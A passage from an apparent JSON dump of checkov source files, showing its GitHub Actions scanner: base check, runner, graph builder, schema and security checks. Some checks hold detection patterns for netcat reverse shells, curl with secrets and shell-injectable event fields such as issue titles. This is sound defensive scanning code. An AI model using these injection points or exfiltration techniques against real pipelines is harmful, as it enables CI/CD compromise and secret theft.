\"deliveries_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/repos/octocat/Hello-World/hooks/1/deliveries\"\n                        ]\n                    },\n                    \"last_response\": {\n                        \"title\": \"Hook Response\",\n                        \"type\": \"object\",\n                        \"properties\": {\n                            \"code\": {\n                                \"type\": [\n                                    \"integer\",\n                                    \"null\"\n                                ]\n                            },\n                            \"status\": {\n                                \"type\": [\n                                    \"string\",\n                                    \"null\"\n                                ]\n                            },\n                            \"message\": {\n                                \"type\": [\n                                    \"string\",\n                                    \"null\"\n                                ]\n                            }\n                        },\n                        \"required\": [\n                            \"code\",\n                            \"status\",\n                            \"message\"\n                        ]\n                    }\n                },\n                \"required\": [\n                    \"id\",\n                    \"url\",\n                    \"type\",\n                    \"name\",\n                    \"active\",\n                    \"events\",\n                    \"config\",\n                    \"ping_url\",\n                    \"created_at\",\n                    \"updated_at\",\n                    \"last_response\",\n                    \"test_url\"\n                ]\n            }\n        }\n        super().__init__(schema=schema)\n\n\nschema = RepositoryWebhookSchema()\n"
  },
  {
    "path": "checkov/github_actions/__init__.py",
    "content": "from checkov.github_actions.checks import *  # noqa\n"
  },
  {
    "path": "checkov/github_actions/checks/__init__.py",
    "content": "from checkov.github_actions.checks.job import *  # noqa\n"
  },
  {
    "path": "checkov/github_actions/checks/base_github_action_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.github_actions.checks.registry import registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckResult\n\n\nclass BaseGithubActionsCheck(BaseCheck):\n    def __init__(\n        self, name: str, id: str, supported_entities: Iterable[str], block_type: str, path: str | None = None\n    ) -> None:\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n        self.path = path\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.entity_type = entity_type\n\n        return self.scan_conf(conf)\n\n    @abstractmethod\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        pass\n"
  },
  {
    "path": "checkov/github_actions/checks/graph_checks/ReadOnlyTopLevelPermissions.yaml",
    "content": "metadata:\n  id: \"CKV2_GHA_1\"\n  name: \"Ensure top-level permissions are not set to write-all\"\n  category: \"IAM\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - permissions\n  attribute: permissions\n  operator: not_equals\n  value: write-all\n"
  },
  {
    "path": "checkov/github_actions/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\n\nfrom checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass AllowUnsecureCommandsOnJob(BaseGithubActionsCheck):\n    def __init__(self) -> None:\n        name = \"Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables\"\n        id = \"CKV_GHA_1\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('jobs', 'jobs.*.steps[]')\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n        if \"env\" not in conf or not conf[\"env\"]:\n            return CheckResult.PASSED, conf\n        env_variables = conf.get(\"env\", {})\n\n        if not isinstance(env_variables, dict):\n            return CheckResult.UNKNOWN, conf\n        if env_variables.get(\"ACTIONS_ALLOW_UNSECURE_COMMANDS\", False):\n            return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\ncheck = AllowUnsecureCommandsOnJob()\n"
  },
  {
    "path": "checkov/github_actions/checks/job/CosignArtifacts.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.util.consts import START_LINE\nfrom checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck\nfrom checkov.github_actions.common.artifact_build import buildcmds as buildcmds\nfrom checkov.github_actions.common.build_actions import buildactions as buildactions\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass CosignSignPresent(BaseGithubActionsCheck):\n    def __init__(self) -> None:\n        name = \"Found artifact build without evidence of cosign sign execution in pipeline\"\n        id = \"CKV_GHA_5\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.OBJECT,\n            supported_entities=('jobs',)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not conf or not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n\n        build_found = False\n        for jobname, jobdetail in conf.items():\n            if jobname == START_LINE:\n                return CheckResult.PASSED, conf\n            if not isinstance(jobdetail, dict):\n                # This is not a valid job detail block, skip it\n                continue\n            steps = [step for step in jobdetail.get(\"steps\", []) or [] if step]\n            if steps:\n                for step in steps:\n                    if build_found:\n                        run = step.get(\"run\", \"\")\n                        if \"cosign sign\" in run:\n                            return CheckResult.PASSED, step\n                    else:\n                        uses = step.get(\"uses\")\n                        if uses is not None and any(action in uses for action in buildactions):\n                            build_found = True\n                        run = step.get(\"run\")\n                        if run is not None and any(build in run for build in buildcmds):\n                            build_found = True\n\n        if build_found:\n            return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\ncheck = CosignSignPresent()\n"
  },
  {
    "path": "checkov/github_actions/checks/job/CosignSBOM.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.util.consts import START_LINE\nfrom checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck\nfrom checkov.github_actions.common.artifact_build import buildcmds as buildcmds\nfrom checkov.github_actions.common.build_actions import buildactions as buildactions\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass CosignSignSBOM(BaseGithubActionsCheck):\n    def __init__(self) -> None:\n        name = \"Found artifact build without evidence of cosign sbom attestation in pipeline\"\n        id = \"CKV_GHA_6\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.OBJECT,\n            supported_entities=('jobs',)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n\n        build_found = False\n        for jobname, jobdetail in conf.items():\n            if jobname == START_LINE:\n                return CheckResult.PASSED, conf\n            if not isinstance(jobdetail, dict):\n                # This is not a valid job detail block, skip it\n                continue\n            steps = [step for step in jobdetail.get(\"steps\", []) or [] if step]\n            if steps:\n                for step in steps:\n                    if build_found:\n                        run = step.get(\"run\", \"\")\n                        if all(word in run for word in (\"cosign\", \"sbom\")):\n                            return CheckResult.PASSED, step\n                    else:\n                        uses = step.get(\"uses\")\n                        if uses is not None and any(action in uses for action in buildactions):\n                            build_found = True\n                        run = step.get(\"run\")\n                        if run is not None and any(build in run for build in buildcmds):\n                            build_found = True\n\n        if build_found:\n            return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\ncheck = CosignSignSBOM()\n"
  },
  {
    "path": "checkov/github_actions/checks/job/EmptyWorkflowDispatch.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass EmptyWorkflowDispatch(BaseGithubActionsCheck):\n    def __init__(self) -> None:\n        name = \"The build output cannot be affected by user parameters other than the build entry point and the \" \\\n               \"top-level source location. GitHub Actions workflow_dispatch inputs MUST be empty. \"\n        id = \"CKV_GHA_7\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.OBJECT,\n            supported_entities=('on',)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if isinstance(conf, list):\n            for sub_conf in conf:\n                if sub_conf == \"workflow_dispatch\":\n                    return CheckResult.PASSED, sub_conf\n            return CheckResult.UNKNOWN, {}\n\n        if isinstance(conf, str):\n            if conf == \"workflow_dispatch\":\n                return CheckResult.PASSED, conf\n            else:\n                return CheckResult.UNKNOWN, conf\n\n        workflow_dispatch = conf.get(\"workflow_dispatch\")\n        if isinstance(workflow_dispatch, dict):\n            workflow_dispatch_inputs = workflow_dispatch.get(\"inputs\", {})\n            if workflow_dispatch_inputs:\n                return CheckResult.FAILED, workflow_dispatch_inputs\n        return CheckResult.PASSED, conf\n\n\ncheck = EmptyWorkflowDispatch()\n"
  },
  {
    "path": "checkov/github_actions/checks/job/ReverseShellNetcat.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck\nfrom checkov.yaml_doc.enums import BlockType\nimport re\n\nNETCAT_IP_PATTERN = re.compile(r'(nc|netcat) (\\d{1,3}).(\\d{1,3}).(\\d{1,3}).(\\d{1,3})')\n\n\nclass ReverseShellNetcat(BaseGithubActionsCheck):\n    def __init__(self) -> None:\n        name = \"Suspicious use of netcat with IP address\"\n        id = \"CKV_GHA_4\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('jobs', 'jobs.*.steps[]')\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n        run = conf.get(\"run\", \"\")\n        if re.search(NETCAT_IP_PATTERN, run):\n            return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\ncheck = ReverseShellNetcat()\n"
  },
  {
    "path": "checkov/github_actions/checks/job/ShellInjection.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck\nfrom checkov.github_actions.common.shell_injection_list import terms as bad_inputs\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass DontAllowShellInjection(BaseGithubActionsCheck):\n    def __init__(self) -> None:\n        name = \"Ensure run commands are not vulnerable to shell injection\"\n        id = \"CKV_GHA_2\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('jobs', 'jobs.*.steps[]')\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n\n        if \"run\" not in conf:\n            return CheckResult.PASSED, conf\n        run = conf.get(\"run\", \"\")\n        for term in bad_inputs:\n            if re.search(term, run):\n                return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = DontAllowShellInjection()\n"
  },
  {
    "path": "checkov/github_actions/checks/job/SuspectCurlInScript.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass SuspectCurlInScript(BaseGithubActionsCheck):\n    def __init__(self) -> None:\n        name = \"Suspicious use of curl with secrets\"\n        id = \"CKV_GHA_3\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('jobs', 'jobs.*.steps[]')\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not isinstance(conf, dict):\n            return CheckResult.UNKNOWN, conf\n        run = conf.get(\"run\", \"\")\n        if \"curl\" in run:\n            badstuff = ('curl', 'secret')\n            lines = run.split(\"\\n\")\n            for line in lines:\n                if all(x in line for x in badstuff):\n                    return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\ncheck = SuspectCurlInScript()\n"
  },
  {
    "path": "checkov/github_actions/checks/job/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/github_actions/checks/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.base_registry import Registry\n\nregistry = Registry(CheckType.GITHUB_ACTIONS)\n"
  },
  {
    "path": "checkov/github_actions/common/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/github_actions/common/artifact_build.py",
    "content": "# flake8: noqa\nbuildcmds = [\n    \"docker build\",\n    \"ko build\",\n    \"buildah bud\",\n    \"buildah build\",\n    \"podman image build\",\n    \"podman build\",\n    \"nerdctl build\"\n]\n"
  },
  {
    "path": "checkov/github_actions/common/build_actions.py",
    "content": "# flake8: noqa\nbuildactions = [\n    \"docker/build-push-action\",\n    \"docker/bake-action\"\n]\n"
  },
  {
    "path": "checkov/github_actions/common/shell_injection_list.py",
    "content": "# flake8: noqa\nterms = [\n    r\"\\${{[ ]*github.event.issue.title[ ]*}}\",\n    r\"\\${{[ ]*github.event.issue.body[ ]*}}\",\n    r\"\\${{[ ]*github.event.pull_request.title[ ]*}}\",\n    r\"\\${{[ ]*github.event.pull_request.body[ ]*}}\",\n    r\"\\${{[ ]*github.event.comment.body[ ]*}}\",\n    r\"\\${{[ ]*github.event.review.body[ ]*}}\",\n    r\"\\${{[ ]*github.event.review_comment.body[ ]*}}\",\n    r\"\\${{[ ]*github.event.pages.*.page_name[ ]*}}\",\n    r\"\\${{[ ]*github.event.head_commit.message[ ]*}}\",\n    r\"\\${{[ ]*github.event.head_commit.author.email[ ]*}}\",\n    r\"\\${{[ ]*github.event.head_commit.author.name[ ]*}}\",\n    r\"\\${{[ ]*github.event.commits.*.author.email[ ]*}}\",\n    r\"\\${{[ ]*github.event.commits.*.author.name[ ]*}}\",\n    r\"\\${{[ ]*github.event.pull_request.head.ref[ ]*}}\",\n    r\"\\${{[ ]*github.event.pull_request.head.label[ ]*}}\",\n    r\"\\${{[ ]*github.event.pull_request.head.repo.default_branch[ ]*}}\",\n    r\"\\${{[ ]*github.head_ref[ ]*}}\"\n]\n"
  },
  {
    "path": "checkov/github_actions/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/github_actions/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/github_actions/graph_builder/graph_components/resource_types.py",
    "content": "from enum import Enum\n\n\nclass ResourceType(str, Enum):\n    JOBS = \"jobs\"\n    PERMISSIONS = \"permissions\"\n    STEPS = \"steps\"\n    ON = \"on\"\n\n    def __str__(self) -> str:\n        # needed, because of a Python 3.11 change\n        return self.value\n"
  },
  {
    "path": "checkov/github_actions/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import Any\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\nfrom checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.github_actions.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.github_actions.utils import get_scannable_file_paths, parse_file\n\n\nclass GitHubActionsLocalGraph(ObjectLocalGraph):\n    def __init__(self, definitions: dict[str | Path, dict[str, Any] | list[dict[str, Any]]]) -> None:\n        super().__init__(definitions=definitions)\n\n        self.source = GraphSource.GITHUB_ACTIONS\n        self.job_steps_map: \"dict[tuple[str, str], list[tuple[str, str]]]\" = defaultdict(list)\n\n    def _create_vertices(self) -> None:\n        for file_path, definition in self.definitions.items():\n            if not isinstance(definition, dict):\n                logging.debug(f\"definition of file {file_path} has the wrong type {type(definition)}\")\n                return\n\n            file_path = str(file_path)\n\n            self._create_jobs_vertices(file_path=file_path, jobs=definition.get(ResourceType.JOBS))\n            self._create_steps_vertices(file_path=file_path, jobs=definition.get(ResourceType.JOBS))\n            self._create_permissions_vertices(file_path=file_path, permissions=definition.get(ResourceType.PERMISSIONS))\n            self._create_on_vertices(file_path=file_path, on=definition.get(ResourceType.ON))\n\n    def _create_jobs_vertices(self, file_path: str, jobs: Any) -> None:\n        \"\"\"Creates jobs vertices\"\"\"\n\n        if not jobs or not isinstance(jobs, dict):\n            return\n\n        for name, config in jobs.items():\n            if name in (START_LINE, END_LINE):\n                continue\n\n            attributes = pickle_deepcopy(config)\n            attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.JOBS\n\n            block_name = f\"{ResourceType.JOBS}.{name}\"\n\n            self.vertices.append(\n                Block(\n                    name=block_name,\n                    config=config,\n                    path=file_path,\n                    block_type=BlockType.RESOURCE,\n                    attributes=attributes,\n                    id=block_name,\n                    source=self.source,\n                )\n            )\n\n    def _create_steps_vertices(self, file_path: str, jobs: Any) -> None:\n        \"\"\"Creates steps vertices from jobs\"\"\"\n\n        if not jobs or not isinstance(jobs, dict):\n            return\n\n        for name, job_config in jobs.items():\n            if name in (START_LINE, END_LINE):\n                continue\n\n            steps = job_config.get(ResourceType.STEPS)\n\n            if not steps or not isinstance(steps, list):\n                continue\n\n            for idx, config in enumerate(steps):\n                if not isinstance(config, dict):\n                    # should not happen\n                    continue\n\n                attributes = pickle_deepcopy(config)\n                attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.STEPS\n\n                block_name = f\"{ResourceType.JOBS}.{name}.{ResourceType.STEPS}.{idx + 1}\"\n\n                block = Block(\n                    name=block_name,\n                    config=config,\n                    path=file_path,\n                    block_type=BlockType.RESOURCE,\n                    attributes=attributes,\n                    id=block_name,\n                    source=self.source,\n                )\n                self.vertices.append(block)\n                self.job_steps_map[(file_path, f\"{ResourceType.JOBS}.{name}\")].append((file_path, block_name))\n\n    def _create_permissions_vertices(self, file_path: str, permissions: Any) -> None:\n        \"\"\"Creates root-level permissions vertices\"\"\"\n\n        if permissions is None:\n            # if 'permissions' is not set in a file, then it is automatically 'write-all'\n            permissions = \"write-all\"\n\n        if not permissions or not isinstance(permissions, (str, dict)):\n            return\n\n        if isinstance(permissions, str):\n            # to get the correct line numbers we would need to check the raw definition\n            config = {\n                \"permissions\": permissions,\n                START_LINE: 0,\n                END_LINE: 0,\n            }\n        else:\n            config = {\n                \"permissions\": permissions,\n                START_LINE: permissions[START_LINE],\n                END_LINE: permissions[END_LINE],\n            }\n\n        attributes = pickle_deepcopy(config)\n        attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.PERMISSIONS\n\n        block_name = ResourceType.PERMISSIONS\n\n        block = Block(\n            name=block_name,\n            config=config,\n            path=file_path,\n            block_type=BlockType.RESOURCE,\n            attributes=attributes,\n            id=block_name,\n            source=self.source,\n        )\n        self.vertices.append(block)\n\n    def _create_on_vertices(self, file_path: str, on: Any) -> None:\n        if not on:\n            return\n\n        if isinstance(on, (str, list)):\n            # to get the correct line numbers we would need to check the raw definition\n            config: \"dict[str, Any]\" = {\n                \"on\": on,\n                START_LINE: 0,\n                END_LINE: 0,\n            }\n        elif isinstance(on, dict):\n            config = {\n                \"on\": on,\n                START_LINE: on[START_LINE],\n                END_LINE: on[END_LINE],\n            }\n        else:\n            return\n\n        attributes = pickle_deepcopy(config)\n        attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.ON\n\n        block_name = ResourceType.ON\n\n        block = Block(\n            name=block_name,\n            config=config,\n            path=file_path,\n            block_type=BlockType.RESOURCE,\n            attributes=attributes,\n            id=block_name,\n            source=self.source,\n        )\n        self.vertices.append(block)\n\n    def _create_edges(self) -> None:\n        self._create_jobs_to_steps_edges()\n\n    def _create_jobs_to_steps_edges(self) -> None:\n        \"\"\"Creates edges from jobs to steps\"\"\"\n\n        if not self.job_steps_map:\n            return\n\n        for path_and_name, path_and_steps in self.job_steps_map.items():\n            origin_vertex_index = self.vertices_by_path_and_name[path_and_name]\n\n            for path_and_step_name in path_and_steps:\n                dest_vertex_index = self.vertices_by_path_and_name[path_and_step_name]\n\n                self._create_edge(\n                    origin_vertex_index=origin_vertex_index,\n                    dest_vertex_index=dest_vertex_index,\n                )\n\n    @staticmethod\n    def get_files_definitions(root_folder: str | Path) -> dict[str | Path, dict[str, Any] | list[dict[str, Any]]]:\n        definitions: \"dict[str | Path, dict[str, Any] | list[dict[str, Any]]]\" = {}\n        file_paths = get_scannable_file_paths(root_folder=root_folder)\n\n        for file_path in file_paths:\n            result = parse_file(f=file_path)\n            if result is not None:\n                definitions[file_path] = result[0]\n\n        return definitions\n"
  },
  {
    "path": "checkov/github_actions/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nimport yaml\n\nimport checkov.common.parsers.yaml.loader as loader\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.output.report import Report\nfrom checkov.github_actions.checks.registry import registry\nfrom checkov.github_actions.graph_builder.local_graph import GitHubActionsLocalGraph\nfrom checkov.github_actions.utils import is_schema_valid, is_workflow_file\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.yaml_doc.runner import Runner as YamlRunner\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from checkov.common.typing import LibraryGraphConnector\n    from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph\n    from checkov.common.runners.graph_manager import ObjectGraphManager\n\n\nclass Runner(YamlRunner):\n    check_type = CheckType.GITHUB_ACTIONS  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str = GraphSource.GITHUB_ACTIONS,\n        graph_class: type[ObjectLocalGraph] = GitHubActionsLocalGraph,\n        graph_manager: ObjectGraphManager | None = None,\n        external_registries: dict[str, Any] | None = None\n    ) -> None:\n        super().__init__(\n            db_connector=db_connector,\n            source=source,\n            graph_class=graph_class,\n            graph_manager=graph_manager,\n        )\n\n    def require_external_checks(self) -> bool:\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        return registry\n\n    @staticmethod\n    def _parse_file(f: str, file_content: str | None = None) -> \\\n            tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        if is_workflow_file(f):\n            entity_schema: tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None = YamlRunner._parse_file(f)\n            if not entity_schema:\n                # Indicates that there was an exception/error while trying to read the file,\n                # hence no need to check the schema validity.\n                return None\n\n            if not file_content:\n                with open(f, 'r') as f_obj:\n                    try:\n                        file_content = f_obj.read()\n                    except Exception as e:\n                        logging.warning(f'Fail to read file {f}. error: {e}')\n                        return None\n\n            if all(map(is_schema_valid, yaml.load_all(file_content, Loader=loader.SafeLineLoaderGhaSchema))):  # nosec\n                return entity_schema\n        return None\n\n    def included_paths(self) -> Iterable[str]:\n        return [\".github\"]\n\n    def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str],\n                     start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str:\n        \"\"\"\n        supported resources for GHA:\n            jobs\n            jobs.*.steps[]\n            permissions\n            on\n\n        \"\"\"\n        if len(list(supported_entities)) > 1:\n            logging.debug(\"order of entities might cause extracting the wrong key for resource_id\")\n        new_key = key\n        definition = self.definitions.get(file_path, {})\n        if not definition or not isinstance(definition, dict):\n            return new_key\n        if 'on' in supported_entities:\n            workflow_name = definition.get('name', \"\")\n            new_key = f\"on({workflow_name})\" if workflow_name else \"on\"\n        elif 'jobs' in supported_entities or graph_resource and 'steps' in supported_entities:\n            job_name = self.resolve_sub_name(definition, start_line, end_line, tag='jobs')\n            new_key = f\"jobs({job_name})\" if job_name else \"jobs\"\n\n            if (graph_resource and supported_entities == 'steps') or \\\n                    (not graph_resource and 'jobs.*.steps[]' in supported_entities and key.split('.')[1] == '*'):\n                step_name = self.resolve_step_name(definition['jobs'].get(job_name), start_line, end_line)\n                new_key = f'jobs({job_name}).steps{step_name}'\n        elif 'permissions' in supported_entities:\n            new_key = 'permissions'\n        return new_key\n\n    def run(\n            self,\n            root_folder: str | None = None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        report = super().run(root_folder=root_folder, external_checks_dir=external_checks_dir,\n                             files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments)\n        return report\n\n    def populate_metadata_dict(self) -> None:\n        if isinstance(self.definitions, dict):\n            # populate gha metadata dict\n            for key, definition in self.definitions.items():\n                if isinstance(definition, dict):\n                    workflow_name = definition.get('name', '')\n                    triggers = self._get_triggers(definition)\n                    jobs = self._get_jobs(definition)\n                    self.map_file_path_to_gha_metadata_dict[key] = {\"triggers\": triggers,\n                                                                    \"workflow_name\": workflow_name, \"jobs\": jobs}\n"
  },
  {
    "path": "checkov/github_actions/schemas.py",
    "content": "gha_schema = {\n    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions\",\n    \"$schema\": \"http://json-schema.org/draft-07/schema\",\n    \"additionalProperties\": False,\n    \"definitions\": {\n        \"expressionSyntax\": {\n            \"type\": \"string\",\n            \"$comment\": \"escape `{` and `}` in pattern to be unicode compatible (#1360)\",\n            \"pattern\": \"^\\\\$\\\\{\\\\{.*\\\\}\\\\}$\"\n        },\n        \"pre-if\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#pre-if\",\n            \"description\": \"Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`. Note that the `step` context is unavailable, as no steps have run yet.\",\n            \"type\": \"string\"\n        },\n        \"post-if\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#post-if\",\n            \"description\": \"Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`.\",\n            \"type\": \"string\"\n        },\n        \"runs-javascript\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions\",\n            \"description\": \"Configures the path to the action's code and the application used to execute the code.\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"using\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsusing\",\n                    \"description\": \"The application used to execute the code specified in `main`.\",\n                    \"enum\": [\"node12\", \"node16\"]\n                },\n                \"main\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsmain\",\n                    \"description\": \"The file that contains your action code. The application specified in `using` executes this file.\",\n                    \"type\": \"string\"\n                },\n                \"pre\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#pre\",\n                    \"description\": \"Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The application specified with the `using` syntax will execute this file. The `pre:` action always runs by default but you can override this using `pre-if`.\",\n                    \"type\": \"string\"\n                },\n                \"pre-if\": {\n                    \"$ref\": \"#/definitions/pre-if\"\n                },\n                \"post\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#post\",\n                    \"description\": \"Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The application specified with the `using` syntax will execute this file. The `post:` action always runs by default but you can override this using `post-if`.\",\n                    \"type\": \"string\"\n                },\n                \"post-if\": {\n                    \"$ref\": \"#/definitions/post-if\"\n                }\n            },\n            \"required\": [\"using\", \"main\"],\n            \"additionalProperties\": False\n        },\n        \"runs-composite\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-run-steps-actions\",\n            \"description\": \"Configures the path to the composite action, and the application used to execute the code.\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"using\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsusing-1\",\n                    \"description\": \"To use a composite run steps action, set this to 'composite'.\",\n                    \"const\": \"composite\"\n                },\n                \"steps\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runssteps\",\n                    \"description\": \"The run steps that you plan to run in this action.\",\n                    \"type\": \"array\",\n                    \"items\": {\n                        \"type\": \"object\",\n                        \"properties\": {\n                            \"run\": {\n                                \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsrun\",\n                                \"description\": \"The command you want to run. This can be inline or a script in your action repository.\",\n                                \"type\": \"string\"\n                            },\n                            \"shell\": {\n                                \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsshell\",\n                                \"description\": \"The shell where you want to run the command.\",\n                                \"type\": \"string\",\n                                \"anyOf\": [\n                                    {\n                                        \"$comment\": 